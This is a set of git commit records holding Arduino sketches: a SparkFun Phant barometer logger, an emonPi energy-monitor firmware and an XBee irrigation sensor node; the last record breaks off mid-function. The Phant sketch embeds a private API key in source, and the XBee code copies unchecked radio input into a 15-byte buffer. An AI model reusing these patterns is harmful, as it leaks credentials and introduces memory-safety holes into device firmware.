{"commit":"6303ad0d6fa669ad490b7e95033951c35f486352","subject":"First Push","message":"First Push\n\nBasic Tech demo is able to get data from magnetometer and push to Phant\n","repos":"lpurdy01\/Test-Station-Firmware,lpurdy01\/Test-Station-Firmware","old_file":"Test-Station-Firmware.ino","new_file":"Test-Station-Firmware.ino","new_contents":"\/*****************************************************************\n * Phant_Ethernet.ino\n * Post data to SparkFun's data stream server system (phant) using\n * an Arduino and an Ethernet Shield.\n * Jim Lindblom @ SparkFun Electronics\n * Original Creation Date: July 3, 2014\n * \n * This sketch uses an Arduino Uno to POST sensor readings to \n * SparkFun's data logging streams (http:\/\/data.sparkfun.com). \n * \n * Before uploading this sketch, there are a number of global vars\n * that need adjusting:\n * 1. Ethernet Stuff: Fill in your desired MAC and a static IP, even\n * if you're planning on having DCHP fill your IP in for you.\n * The static IP is only used as a fallback, if DHCP doesn't work.\n * 2. Phant Stuff: Fill in your data stream's public, private, and \n * data keys before uploading!\n * \n * Hardware Hookup:\n * These components are connected to the Arduino's I\/O pins:\n * D3 - Active-low momentary button (pulled high internally)\n * A0 - Photoresistor (which is combined with a 10k resistor\n * to form a voltage divider output to the Arduino).\n * D5 - SPST switch to select either 5V or 0V to this pin.\n * A CC3000 Shield sitting comfortable on top of your Arduino.\n * \n * Development environment specifics:\n * IDE: Arduino 1.0.5\n * Hardware Platform: RedBoard & PoEthernet Shield\n * \n * This code is beerware; if you see me (or any other SparkFun \n * employee) at the local, and you've found our code helpful, please \n * buy us a round!\n * \n * Much of this code is largely based on David Mellis' WebClient\n * example in the Ethernet library.\n * \n * Distributed as-is; no warranty is given.\n *****************************************************************\/\n\/**************************************************************************\/\n\/*!\n @file Adafruit_MPL3115A2.cpp\n @author K.Townsend (Adafruit Industries)\n @license BSD (see license.txt)\n \n Example for the MPL3115A2 barometric pressure sensor\n \n This is a library for the Adafruit MPL3115A2 breakout\n ----> https:\/\/www.adafruit.com\/products\/1893\n \n Adafruit invests time and resources providing this open source code,\n please support Adafruit and open-source hardware by purchasing\n products from Adafruit!\n \n @section HISTORY\n \n v1.0 - First release\n *\/\n\/**************************************************************************\/\n\n#include <SPI.h> \/\/ Required to use Ethernet\n#include <Ethernet.h> \/\/ The Ethernet library includes the client\n#include <Progmem.h> \/\/ Allows us to sacrifice flash for DRAM\n#include <Wire.h>\n#include <Adafruit_MPL3115A2.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/Altimeter\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Power by connecting Vin to 3-5V, GND to GND\n\/\/ Uses I2C - connect SCL to the SCL pin, SDA to SDA pin\n\/\/ See the Wire tutorial for pinouts for each Arduino\n\/\/ http:\/\/arduino.cc\/en\/reference\/wire\nAdafruit_MPL3115A2 baro = Adafruit_MPL3115A2();\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Ethernet Settings \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Enter a MAC address for your controller below.\nbyte mac[] = { \n 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\n\/\/ if you don't want to use DNS (and reduce your sketch size)\n\/\/ use the numeric IP instead of the name for the server:\nIPAddress server(54,86,132,254); \/\/ numeric IP for data.sparkfun.com\n\/\/char server[] = \"data.sparkfun.com\"; \/\/ name address for data.sparkFun (using DNS)\n\/\/ Set the static IP address to use if the DHCP fails to assign\nIPAddress ip(192,168,1,33);\n\n\/\/ Initialize the Ethernet client library\n\/\/ with the IP address and port of the server \n\/\/ that you want to connect to (port 80 is default for HTTP):\nEthernetClient client;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Phant Stuff \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nconst String publicKey = \"KJQE5LjM03T0gVbnD4dM\";\nconst String privateKey = \"vznMWJm1KeHy1pbevEDd\";\nconst byte NUM_FIELDS = 23;\nconst String fieldNames[NUM_FIELDS] = {\"accuracy\",\"altitude_meters\",\"elevation_gps_meters\",\"heading\",\"humidity\",\"latitude\",\"longitude\",\"magnetometer_x_ut\",\"pressure_kpa\",\"satellites\",\"station\",\"tempature_c\",\"timestamp\",\"value1\",\"value2\",\"value3\",\"value4\",\"value5\",\"value6\",\"value7\",\"value8\",\"y_ut\",\"z_ut\"};\nString fieldData[NUM_FIELDS];\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Input Pins, Misc \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nString name = \"Lab_Test\";\n\nvoid setup()\n{\n Serial.begin(115200);\n Serial.println(\"Adafruit_MPL3115A2 test!\");\n fieldData[10] = name;\n\n \/\/ Set Up Ethernet:\n setupEthernet();\n\n}\n\nvoid loop()\n{\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/Altimiter Stuff\/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n if (! baro.begin()) {\n Serial.println(\"Couldnt find sensor\");\n return;\n }\n altimeter_get_debug();\n altimeter_post_to_table();\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/Phant Stuff\/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n Serial.println(\"Posting!\");\n postData(); \/\/ the postData() function does all the work, \n \/\/ check it out below.\n\n delay(20000);\n\n}\nvoid altimeter_post_to_table()\n{\n float pascals = baro.getPressure();\n float altm = baro.getAltitude();\n float tempC = baro.getTemperature();\n \n fieldData[1] = String(altm);\n fieldData[8] = String(pascals\/1000);\n fieldData[11] = String(tempC);\n}\n\nvoid altimeter_get_debug()\n{\n float pascals = baro.getPressure();\n float altm = baro.getAltitude();\n float tempC = baro.getTemperature();\n Serial.print(pascals\/1000); Serial.println(\" kPa\");\n Serial.print(altm); Serial.println(\" meters\");\n Serial.print(tempC); Serial.println(\"*C\");\n delay(250);\n}\n\nvoid postData()\n{\n \n \/\/ Make a TCP connection to remote host\n if (client.connect(server, 80))\n {\n \/\/ Post the data! Request should look a little something like:\n \/\/ GET \/input\/publicKey?private_key=privateKey&light=1024&switch=0&name=Jim HTTP\/1.1\\n\n \/\/ Host: data.sparkfun.com\\n\n \/\/ Connection: close\\n\n \/\/ \\n\n client.print(\"GET \/input\/\");\n client.print(publicKey);\n client.print(\"?private_key=\");\n client.print(privateKey);\n for (int i=0; i<NUM_FIELDS; i++)\n {\n client.print(\"&\");\n client.print(fieldNames[i]);\n client.print(\"=\");\n client.print(fieldData[i]);\n }\n client.println(\" HTTP\/1.1\");\n client.print(\"Host: \");\n client.println(server);\n client.println(\"Connection: close\");\n client.println();\n }\n else\n {\n Serial.println(F(\"Connection failed\"));\n } \n\n \/\/ Check for a response from the server, and route it\n \/\/ out the serial port.\n while (client.connected())\n {\n if ( client.available() )\n {\n char c = client.read();\n Serial.print(c);\n } \n }\n Serial.println();\n client.stop();\n}\n\nvoid setupEthernet()\n{\n Serial.println(\"Setting up Ethernet...\");\n \/\/ start the Ethernet connection:\n Ethernet.begin(mac, ip);\n Serial.print(\"My IP address: \");\n Serial.println(Ethernet.localIP());\n \/\/ give the Ethernet shield a second to initialize:\n delay(1000);\n}\n\n\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"bd47749a33873a93a3e8d0fc4ee0b77d915fe3af","subject":"Update Homotica_ETHERNET.ino","message":"Update Homotica_ETHERNET.ino","repos":"homotica\/homotica","old_file":"Homotica\/examples\/Homotica_ETHERNET\/Homotica_ETHERNET.ino","new_file":"Homotica\/examples\/Homotica_ETHERNET\/Homotica_ETHERNET.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/homotica\/homotica.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"168c8fe60375c51a3c3e91ba55e43a850cde18a2","subject":"Create src.ino","message":"Create src.ino\n\nMinor modification to emonPi src.ino for use with ESPproMon, but read the notes regarding git module updates etc.","repos":"pieman64\/ESPproMon","old_file":"OpenEnergyMonitor\/emonPi\/src.ino","new_file":"OpenEnergyMonitor\/emonPi\/src.ino","new_contents":"\/*\n src.ino original at https:\/\/github.com\/openenergymonitor\/emonpi\/blob\/master\/firmware\/src\/src.ino\n minor mods to work with ESPproMon Smartphone app full emonPi repository at https:\/\/github.com\/openenergymonitor\/emonpi\n See notes at https:\/\/github.com\/openenergymonitor\/emonpi\/tree\/master\/firmware\/libraries to ensure compiler uses correct libraries\n and also see git module updates at https:\/\/blog.openenergymonitor.org\/2016\/04\/Git-Sub-Modules\/\n For me the path starts at C:\\emonpi\\ (in regular sketchbook it WAS emonPisrc.ino)\n \n emonPi Discrete Sampling\n\n If AC-AC adapter is detected assume emonPi is also powered from adapter (jumper shorted) and take Real Power Readings and disable sleep mode to keep load on power supply constant\n If AC-AC addapter is not detected assume powering from battereis \/ USB 5V AC sample is not present so take Apparent Power Readings and enable sleep mode\n\n Transmitt values via RFM69CW radio\n\n ------------------------------------------\n Part of the openenergymonitor.org project\n\n Authors: Glyn Hudson & Trystan Lea\n Builds upon JCW JeeLabs RF12 library and Arduino\n\n Licence: GNU GPL V3\n\n*\/\n\n\/*Recommended node ID allocation\n------------------------------------------------------------------------------------------------------------\n-ID-\t-Node Type-\n0\t- Special allocation in JeeLib RFM12 driver - reserved for OOK use\n1-4 - Control nodes\n5-10\t- Energy monitoring nodes\n11-14\t--Un-assigned --\n15-16\t- Base Station & logging nodes\n17-30\t- Environmental sensing nodes (temperature humidity etc.)\n31\t- Special allocation in JeeLib RFM12 driver - Node31 can communicate with nodes on any network group\n-------------------------------------------------------b------------------------------------------------------\n\n\nChange Log:\nhttps:\/\/github.com\/openenergymonitor\/emonpi\/blob\/master\/Atmega328\/emonPi_RFM69CW_RF12Demo_DiscreteSampling\/compiled\/CHANGE%20LOG.md\n\nemonhub.conf node decoder:\n\n[[5]]\n nodename = emonPi\n firmware = emonPi_RFM69CW_RF12Demo_DiscreteSampling.ino\n hardware = emonpi\n [[[rx]]]\n names = power1,power2,power1_plus_power2,Vrms,T1,T2,T3,T4,T5,T6,pulseCount\n datacodes = h, h, h, h, h, h, h, h, h, h, L\n scales = 1,1,1,0.01,0.1,0.1,0.1,0.1,0.1,0.1,1\n units = W,W,W,V,C,C,C,C,C,C,p\n\n*\/\n\n#define emonTxV3 \/\/ Tell emonLib this is the emonPi V3 - don't read Vcc assume Vcc = 3.3V as is always the case on emonPi eliates bandgap error and need for calibration http:\/\/harizanov.com\/2013\/09\/thoughts-on-avr-adc-accuracy\/\n#define RF69_COMPAT 1 \/\/ Set to 1 if using RFM69CW or 0 is using RFM12B\n\n#include <JeeLib.h> \/\/ https:\/\/github.com\/openenergymonitor\/jeelib\n#include <avr\/pgmspace.h>\n#include <util\/parity.h>\nISR(WDT_vect) { Sleepy::watchdogEvent(); } \/\/ Attached JeeLib sleep function to Atmega328 watchdog -enables MCU to be put into sleep mode inbetween readings to reduce power consumption\n\n#include \"EmonLib.h\" \/\/ Include EmonLib energy monitoring library https:\/\/github.com\/openenergymonitor\/EmonLib\nEnergyMonitor ct1, ct2;\n\n#include <OneWire.h> \/\/ http:\/\/www.pjrc.com\/teensy\/td_libs_OneWire.html\n#include <DallasTemperature.h> \/\/ http:\/\/download.milesburton.com\/Arduino\/MaximTemperature\/DallasTemperature_LATEST.zip\n\n#include <Wire.h> \/\/ Arduino I2C library\n#include <LiquidCrystal_I2C.h> \/\/ https:\/\/github.com\/openenergymonitor\/LiquidCrystal_I2C\n\nint i2c_lcd_address[2]={0x27, 0x3f}; \/\/ I2C addresses to test for I2C LCD device\nint current_lcd_i2c_addr; \/\/ Used to store current I2C address as found by i2_lcd_detect()\n\/\/ LiquidCrystal_I2C lcd(0x27,16,2); \/\/ Placeholder\nLiquidCrystal_I2C lcd(0,0,0);\n\n\n\/\/----------------------------emonPi Firmware Version---------------------------------------------------------------------------------------------------------------\n\/\/ Changelog: https:\/\/github.com\/openenergymonitor\/emonpi\/blob\/master\/firmware\/readme.md\nconst int firmware_version = 283; \/\/firmware version x 100 e.g 100 = V1.00\n\n\/\/----------------------------emonPi Settings---------------------------------------------------------------------------------------------------------------\nboolean debug = TRUE;\nconst unsigned long BAUD_RATE= 38400;\n\nconst byte Vrms_EU= 230; \/\/ Vrms for apparent power readings (when no AC-AC voltage sample is present)\nconst byte Vrms_USA= 110; \/\/ USA apparent power VRMS\nconst int TIME_BETWEEN_READINGS= 5000; \/\/ Time between readings (ms)\nconst int RF_RESET_PERIOD= 60000; \/\/ Time (ms) between RF resets (hack to keep RFM60CW alive)\n\n\n\/\/http:\/\/openenergymonitor.org\/emon\/buildingblocks\/calibration\n\nconst float Ical1= 90.9; \/\/ (2000 turns \/ 22 Ohm burden) = 90.9\nconst float Ical2= 90.9;\nfloat Vcal_EU= 256.8; \/\/ (230V x 13) \/ (9V x 1.2) = 276.9 - Calibration for EU AC-AC adapter 77DE-06-09\nconst float Vcal_USA= 130.0; \/\/ Calibration for US AC-AC adapter 77DA-10-09\nboolean USA= FALSE;\nconst byte min_pulsewidth= 60; \/\/ minimum width of interrupt pulse\n\nconst float phase_shift= 1.7;\nconst int no_of_samples= 1480;\nconst byte no_of_half_wavelengths= 20;\nconst int timeout= 2000; \/\/ emonLib timeout\nconst int ACAC_DETECTION_LEVEL= 3000;\n\nconst byte TEMPERATURE_PRECISION= 12; \/\/ 9 (93.8ms),10 (187.5ms) ,11 (375ms) or 12 (750ms) bits equal to resplution of 0.5C, 0.25C, 0.125C and 0.0625C\nconst byte MaxOnewire= 6; \/\/ maximum number of DS18B20 one wire sensors\nboolean RF_STATUS= 1; \/\/ Turn RF on and off\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\n\n\n\/\/----------------------------emonPi V3 hard-wired connections---------------------------------------------------------------------------------------------------------------\nconst byte LEDpin= 9; \/\/ emonPi LED - on when HIGH\nconst byte shutdown_switch_pin = 8; \/\/ Push-to-make - Low when pressed\nconst byte emonpi_GPIO_pin= 5; \/\/ Connected to Pi GPIO 17, used to activate Pi Shutdown when HIGH\n\/\/const byte emonpi_OKK_Tx= 6; \/\/ On-off keying transmission Pin - not populated by default\n\/\/const byte emonPi_RJ45_8_IO= A6; \/\/ RJ45 pin 8 - Analog 6 (D19) - Aux I\/O\nconst byte emonPi_int1= 1; \/\/ RJ45 pin 6 - INT1 - PWM - Dig 3 - default pulse count input\nconst byte emonPi_int1_pin= 3; \/\/ RJ45 pin 6 - INT1 - PWM - Dig 3 - default pulse count input\n\/\/const byte emonPi_int0= 2; \/\/ Default RFM INT (Dig2) - Can be jumpered used JP5 to RJ45 pin 7 - PWM - D2\n#define ONE_WIRE_BUS 4 \/\/ DS18B20 Data, RJ45 pin 4\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\n\n\/\/Setup DS18B20\nOneWire oneWire(ONE_WIRE_BUS);\nDallasTemperature sensors(&oneWire);\nbyte allAddress [MaxOnewire][8]; \/\/ 8 bytes per address\nbyte numSensors;\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\n\n\/\/-----------------------RFM12B \/ RFM69CW SETTINGS----------------------------------------------------------------------------------------------------\nbyte RF_freq=RF12_433MHZ; \/\/ Frequency of RF69CW module can be RF12_433MHZ, RF12_868MHZ or RF12_915MHZ. You should use the one matching the module you have.\nbyte nodeID = 5; \/\/ emonpi node ID\nint networkGroup = 210;\n\ntypedef struct {\nint power1;\nint power2;\nint power1_plus_2;\nint Vrms;\nint temp[MaxOnewire];\nunsigned long pulseCount;\n} PayloadTX; \/\/ create JeeLabs RF packet structure - a neat way of packaging data for RF comms\nPayloadTX emonPi;\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\n\n\n\/\/Global Variables Energy Monitoring\ndouble Vcal, vrms;\nboolean CT1, CT2, ACAC, DS18B20_STATUS;\nbyte CT_count, Vrms;\nunsigned long last_sample=0; \/\/ Record millis time of last discrete sample\nbyte flag; \/\/ flag to record shutdown push button press\nvolatile byte pulseCount = 0;\nunsigned long now =0;\nunsigned long pulsetime=0; \/\/ Record time of interrupt pulse\nunsigned long last_rf_rest=0; \/\/ Record time of last RF reset\n\n\/\/ RF Global Variables\nstatic byte stack[RF12_MAXDATA+4], top, sendLen, dest; \/\/ RF variables\nstatic char cmd;\nstatic word value; \/\/ Used to store serial input\nlong unsigned int start_press=0; \/\/ Record time emonPi shutdown push switch is pressed\nboolean quiet_mode = 1;\n\nconst char helpText1[] PROGMEM = \/\/ Available Serial Commands\n\"\\n\"\n\"Available commands:\\n\"\n\" <nn> i - set node IDs (standard node ids are 1..30)\\n\"\n\" <n> b - set MHz band (4 = 433, 8 = 868, 9 = 915)\\n\"\n\" <nnn> g - set network group (RFM12 only allows 212, 0 = any)\\n\"\n\" <n> c - set collect mode (advanced, normally 0)\\n\"\n\" ...,<nn> a - send data packet to node <nn>, request ack\\n\"\n\" ...,<nn> s - send data packet to node <nn>, no ack\\n\"\n\" ...,<n> p - Set AC Adapter Vcal 1p = UK, 2p = USA\\n\"\n\" v - Show firmware version\\n\"\n\" <n> q - set quiet mode (1 = don't report bad packets)\\n\"\n;\n\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\n\/\/ SETUP ********************************************************************************************\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\nvoid setup()\n{\n\n delay(100);\n\n if (USA==TRUE)\n {\n Vcal = Vcal_USA; \/\/ Assume USA AC\/AC adatper is being used, set calibration accordingly\n Vrms = Vrms_USA;\n }\n else\n {\n Vcal = Vcal_EU;\n Vrms = Vrms_EU;\n }\n\n emonPi_startup(); \/\/ emonPi startup proceadure, check for AC waveform and print out debug\n if (RF_STATUS==1) RF_Setup();\n byte numSensors = check_for_DS18B20(); \/\/ check for presence of DS18B20 and return number of sensors\n \n \/\/ Detect and startup I2C LCD\n current_lcd_i2c_addr = i2c_lcd_detect(i2c_lcd_address);\n LiquidCrystal_I2C lcd(current_lcd_i2c_addr,16,2); \/\/ LCD I2C address to 0x27, 16x2 line display\n emonPi_LCD_Startup(current_lcd_i2c_addr);\n \n delay(2000);\n CT_Detect();\n serial_print_startup(current_lcd_i2c_addr);\n\n attachInterrupt(emonPi_int1, onPulse, FALLING); \/\/ Attach pulse counting interrupt on RJ45 (Dig 3 \/ INT 1)\n emonPi.pulseCount = 0; \/\/ Reset Pulse Count\n\n\n\n ct1.current(1, Ical1); \/\/ CT ADC channel 1, calibration. calibration (2000 turns \/ 22 Ohm burden resistor = 90.909)\n ct2.current(2, Ical2); \/\/ CT ADC channel 2, calibration.\n\n if (ACAC) \/\/If AC wavefrom has been detected\n {\n ct1.voltage(0, Vcal, phase_shift); \/\/ ADC pin, Calibration, phase_shift\n ct2.voltage(0, Vcal, phase_shift); \/\/ ADC pin, Calibration, phase_shift\n }\n\n} \/\/end setup\n\n\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\n\/\/ LOOP ********************************************************************************************\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\nvoid loop()\n{\n now = millis();\n\n if (USA==TRUE)\n {\n Vcal = Vcal_USA; \/\/ Assume USA AC\/AC adatper is being used, set calibration accordingly\n Vrms = Vrms_USA;\n }\n else\n {\n Vcal = Vcal_EU;\n Vrms = Vrms_EU;\n }\n\n \/\/ Update Vcal\n ct1.voltage(0, Vcal, phase_shift); \/\/ ADC pin, Calibration, phase_shift\n ct2.voltage(0, Vcal, phase_shift); \/\/ ADC pin, Calibration, phase_shift\n\n if (digitalRead(shutdown_switch_pin) == 0 )\n digitalWrite(emonpi_GPIO_pin, HIGH); \/\/ if emonPi shutdown butten pressed then send signal to the Pi on GPIO 11\n else\n digitalWrite(emonpi_GPIO_pin, LOW);\n\n if (Serial.available()){\n handleInput(Serial.read()); \/\/ If serial input is received\n double_LED_flash();\n }\n\n\n if (RF_STATUS==1){ \/\/ IF RF module is present and enabled then perform RF tasks\n if (RF_Rx_Handle()==1) { \/\/ Returns true if RF packet is received\n double_LED_flash();\n }\n\n send_RF(); \/\/ Transmitt data packets if needed\n\n if ((now - last_rf_rest) > RF_RESET_PERIOD) {\n rf12_initialize(nodeID, RF_freq, networkGroup); \/\/ Periodically reset RFM69CW to keep it alive :-(\n }\n\n }\n\n\n if ((now - last_sample) > TIME_BETWEEN_READINGS)\n {\n single_LED_flash(); \/\/ single flash of LED on local CT sample\n\n if (ACAC && CT1) \/\/ Read from CT 1\n {\n ct1.calcVI(no_of_half_wavelengths,timeout); emonPi.power1=ct1.realPower;\n emonPi.Vrms=ct1.Vrms*100;\n }\n else\n {\n if (CT1) emonPi.power1 = ct1.calcIrms(no_of_samples)*Vrms; \/\/ Calculate Apparent Power 1 1480 is number of samples\n }\n\n if (ACAC && CT2) \/\/ Read from CT 2\n {\n ct2.calcVI(no_of_half_wavelengths,timeout); emonPi.power2=ct2.realPower;\n emonPi.Vrms=ct2.Vrms*100;\n }\n else\n {\n if (CT2) emonPi.power2 = ct2.calcIrms(no_of_samples)*Vrms; \/\/ Calculate Apparent Power 1 1480 is number of samples\n }\n\n emonPi.power1_plus_2=emonPi.power1 + emonPi.power2; \/\/Create power 1 plus power 2 variable for US and solar PV installs\n\n if ((ACAC==0) && (CT_count > 0)) emonPi.Vrms=Vrms*100; \/\/ If no AC wave detected set VRMS constant\n\n if ((ACAC==1) && (CT_count==0)) { \/\/ If only AC-AC is connected then return just VRMS calculation\n ct1.calcVI(no_of_half_wavelengths,timeout);\n emonPi.Vrms=ct1.Vrms*100;\n }\n\n \/\/Serial.print(emonPi.pulseCount); Serial.print(\" \");delay(5);\n \/\/ if (debug==1) {Serial.print(emonPi.power2); Serial.print(\" \");delay(5);}\n\n\n if (DS18B20_STATUS==1)\n {\n sensors.requestTemperatures(); \/\/ Send the command to get temperatures\n for(byte j=0;j<numSensors;j++) emonPi.temp[j]=get_temperature(j);\n }\n\n if (pulseCount) \/\/ if the ISR has counted some pulses, update the total count\n {\n cli(); \/\/ Disable interrupt just in case pulse comes in while we are updating the count\n emonPi.pulseCount += pulseCount;\n pulseCount = 0;\n sei(); \/\/ Re-enable interrupts\n }\n \/*\n Serial.print(CT1); Serial.print(\" \"); Serial.print(CT2); Serial.print(\" \"); Serial.print(ACAC); Serial.print(\" \"); Serial.println (CT_count);\n Serial.print(emonPi.power1); Serial.print(\" \");\n Serial.print(emonPi.power2); Serial.print(\" \");\n Serial.print(emonPi.Vrms); Serial.print(\" \");\n Serial.println(emonPi.temp[1]);\n *\/\n \n Serial.print(\"ct1:\"); Serial.print(emonPi.power1);\n Serial.print(\",ct2:\"); Serial.print(emonPi.power2);\n Serial.print(\",ct3:\"); Serial.print(\"0\"); \/\/ emonPi has 2 CT's\n Serial.print(\",ct4:\"); Serial.print(\"0\"); \/\/ emonPi has 2 CT's\n Serial.print(\",vrms:\"); Serial.print(emonPi.Vrms);\n Serial.print(\",pulse:\"); Serial.print(emonPi.pulseCount);\n if (DS18B20_STATUS==1){\n for(byte j=0;j<numSensors;j++){\n Serial.print(\",t\"); Serial.print(j); Serial.print(\":\");\n Serial.print(emonPi.temp[j]);\n }\n } \n\n send_emonpi_serial(); \/\/Send emonPi data to Pi serial using struct packet structure\n\n last_sample = now; \/\/Record time of sample\n\n } \/\/ end sample\n\n\n} \/\/ end loop---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n\nvoid single_LED_flash()\n{\n digitalWrite(LEDpin, HIGH); delay(50); digitalWrite(LEDpin, LOW);\n}\n\nvoid double_LED_flash()\n{\n digitalWrite(LEDpin, HIGH); delay(25); digitalWrite(LEDpin, LOW);\n digitalWrite(LEDpin, HIGH); delay(25); digitalWrite(LEDpin, LOW);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'OpenEnergyMonitor\/emonPi\/src.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d4ddaa08473025e833eb385a3e5f7f28999bf4d6","subject":"refactor firmware","message":"refactor firmware\n","repos":"wsnook\/farm,wsnook\/farm,wsnook\/farm","old_file":"firmware\/photon.ino","new_file":"firmware\/photon.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/wsnook\/farm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"6aa760a9614069e35fc5d512005b047df25f615b","subject":"Create sensorNode.ino","message":"Create sensorNode.ino","repos":"brunoliveira8\/horta-iot,brunoliveira8\/horta-iot,brunoliveira8\/horta-iot","old_file":"sensorNode.ino","new_file":"sensorNode.ino","new_contents":"\/\/ Example testing sketch for various DHT humidity\/temperature sensors\n\/\/ Written by ladyada, public domain\n\n#include \"DHT.h\"\n\n#define DHTPIN 4 \/\/ what digital pin we're connected to\n#define RELAY 13\n\n\/\/ Uncomment whatever type you're using!\n#define DHTTYPE DHT11 \/\/ DHT 11\n\/\/#define DHTTYPE DHT22 \/\/ DHT 22 (AM2302), AM2321\n\/\/#define DHTTYPE DHT21 \/\/ DHT 21 (AM2301)\n\n\/\/ Connect pin 1 (on the left) of the sensor to +5V\n\/\/ NOTE: If using a board with 3.3V logic like an Arduino Due connect pin 1\n\/\/ to 3.3V instead of 5V!\n\/\/ Connect pin 2 of the sensor to whatever your DHTPIN is\n\/\/ Connect pin 4 (on the right) of the sensor to GROUND\n\/\/ Connect a 10K resistor from pin 2 (data) to pin 1 (power) of the sensor\n\n\/\/ Initialize DHT sensor.\n\/\/ Note that older versions of this library took an optional third parameter to\n\/\/ tweak the timings for faster processors. This parameter is no longer needed\n\/\/ as the current DHT reading algorithm adjusts itself to work on faster procs.\n\n#include <SoftwareSerial.h>\n\nDHT dht(DHTPIN, DHTTYPE);\nSoftwareSerial XBee(2, 3); \/\/ RX, TX\n\nunsigned long int time_interval = 10000; \/\/time between measures\nunsigned long int last_time = 0;\nfloat h_floor = 20.0; \/\/lowest value to turn on irrigation\nfloat h_ceil = 70.0; \/\/highest value to turn off irrigation\nboolean relay = false;\n\n\/\/sensors\nint soil_data;\nfloat h_soil; \/\/% of soil humidity\n\/\/air humidity and temperature data\nfloat h_air; \/\/% of air humidity\nfloat t;\/\/ Read temperature as Celsius (the default)\n\nvoid setup() {\n Serial.begin(9600);\n XBee.begin(9600);\n XBee.setTimeout(500);\n \/\/Serial.println(\"DHTxx test!\");\n dht.begin();\n pinMode(RELAY, OUTPUT);\n digitalWrite(RELAY, HIGH);\n}\n\nvoid loop() {\n \/\/ Wait a few miliseconds between measurements.\n delay(50);\n\n readSensors();\n measure_timing();\n statusRelay();\n getConfig();\n\n}\n\n\nvoid getConfig() {\n if (XBee.available())\n { \/\/ If data comes in from XBee\n String data = XBee.readString(); \/\/ read the incoming String:\n int len = data.length() + 1;\n char sz[15];\n \/\/char *sz = malloc(len);\n data.toCharArray(sz, len);\n char *p = sz;\n char *str;\n String vec[3];\n int i = 0;\n Serial.begin(9600);\n while ((str = strtok_r(p, \";\", &p)) != NULL) { \/\/ delimiter is the semicolon\n vec[i] = str;\n i++;\n \/\/Serial.println(str);\n }\/\/while\n h_ceil = vec[0].toFloat();\n h_floor = vec[1].toFloat();\n time_interval = vec[2].toInt();\n time_interval = time_interval * 1000 * 60;\n\n Serial.print(\"New floor:\");\n Serial.println(h_floor);\n Serial.print(\"New ceiling:\");\n Serial.println(h_ceil);\n Serial.print(\"New interval:\");\n Serial.println(time_interval);\n\n }\/\/xbee.available\n\n}\n\nvoid statusRelay() {\n \/\/turn relay on and off comparing humidity values with floor and ceiling\n if (h_soil < h_floor && relay == false) {\n relay = true;\n digitalWrite(RELAY, LOW);\n \/\/send notification\n XBee.print(\"atuador,\");\n XBee.println(relay);\n\n \/\/testing\n Serial.print(\"atuador,\");\n Serial.println(relay);\n }\n if (h_soil > h_ceil && relay == true) {\n relay = false;\n digitalWrite(RELAY, HIGH);\n \/\/send notification\n XBee.print(\"atuador,\");\n XBee.println(relay);\n\n \/\/testing\n Serial.print(\"atuador,\");\n Serial.println(relay);\n }\n}\n\nvoid measure_timing() {\n \/\/interval of time for sending data\n if ((millis() - last_time) > time_interval || (millis() - last_time) < 0) {\n sendSensorData();\n serialDisplay();\n last_time = millis();\n }\n\n}\n\nvoid readSensors() {\n \/\/ Reading temperature or humidity takes about 250 milliseconds!\n \/\/ Sensor readings may also be up to 2 seconds 'old' (its a very slow sensor)\n\n \/\/soil humidity data\n soil_data = analogRead(A0);\n h_soil = map(soil_data, 1023, 0, 0, 100); \/\/% of soil humidity\n\n \/\/air humidity and temperature data\n h_air = dht.readHumidity(); \/\/% of air humidity\n t = dht.readTemperature();\/\/ Read temperature as Celsius (the default)\n\n \/\/ Check if any reads failed and exit early (to try again).\n if (isnan(h_air) || isnan(t)) {\n Serial.println(\"Failed to read from DHT sensor!\");\n return;\n }\n\n}\n\n\nvoid sendSensorData() {\n \/\/xbee transmission\n XBee.print(\"sensor,\"); \/\/identification\n XBee.print(h_soil); \/\/soil humidity\n XBee.print(\",\");\n XBee.print(h_air); \/\/air humidity\n XBee.print(\",\");\n XBee.println(t); 